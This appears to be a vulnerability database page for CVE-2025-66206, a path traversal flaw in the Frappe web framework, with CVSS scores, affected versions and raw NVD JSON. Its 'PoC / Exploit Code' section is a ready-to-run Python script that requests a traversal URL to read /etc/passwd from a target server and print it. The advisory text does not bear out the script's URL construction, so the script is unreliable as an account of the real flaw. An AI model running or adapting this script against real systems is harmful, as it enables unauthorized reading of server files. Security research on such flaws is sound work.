Security Vulnerability Report
中文
CVE-2025-66206 CVSS 6.8 MEDIUM

CVE-2025-66206

Published: 2025-12-01 21:15:53
Last Modified: 2025-12-04 18:41:25

Description

Frappe is a full-stack web application framework. Prior to 15.86.0 and 14.99.2, certain requests were vulnerable to path traversal attacks, wherein some files from the server could be retrieved if the full path was known. Sites hosted on Frappe Cloud, and even other setups that are behind a reverse proxy like NGINX are unaffected. This would mainly affect someone directly using werkzeug/gunicorn. In those cases, either an upgrade or changing the setup to use a reverse proxy is recommended. This vulnerability is fixed in 15.86.0 and 14.99.2.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:* - VULNERABLE
Frappe Framework < 14.99.2
Frappe Framework < 15.86.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-66206 Path Traversal PoC for Frappe Framework # Target: Frappe instances directly exposed without reverse proxy def exploit_path_traversal(target_url, file_path): """ Exploit path traversal vulnerability to read arbitrary files Args: target_url: Base URL of vulnerable Frappe instance file_path: Absolute path of file to read (e.g., /etc/passwd) Returns: File contents if successful, None otherwise """ # Path traversal payload traversal = "../../.." encoded_path = file_path.lstrip("/") # Construct malicious URL exploit_url = f"{target_url}/api/method/frappe.app.{traversal}/{encoded_path}" try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: return response.text except requests.RequestException as e: print(f"Request failed: {e}") return None # Example usage if __name__ == "__main__": target = "http://vulnerable-frappe-server.com" target_file = "etc/passwd" result = exploit_path_traversal(target, target_file) if result: print("File contents retrieved:") print(result)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66206", "sourceIdentifier": "[email protected]", "published": "2025-12-01T21:15:52.623", "lastModified": "2025-12-04T18:41:24.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe is a full-stack web application framework. Prior to 15.86.0 and 14.99.2, certain requests were vulnerable to path traversal attacks, wherein some files from the server could be retrieved if the full path was known. Sites hosted on Frappe Cloud, and even other setups that are behind a reverse proxy like NGINX are unaffected. This would mainly affect someone directly using werkzeug/gunicorn. In those cases, either an upgrade or changing the setup to use a reverse proxy is recommended. This vulnerability is fixed in 15.86.0 and 14.99.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.99.2", "matchCriteriaId": "5F7C6678-1529-4C46-BF75-8647AF1170C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0.0", "versionEndExcluding": "15.86.0", "matchCriteriaId": "63006503-DD78-47D9-ACDE-9D3480FAE9F6"}]}]}], "references": [{"url": "https://github.com/frappe/frappe/security/advisories/GHSA-v4wg-gqfr-rpjm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}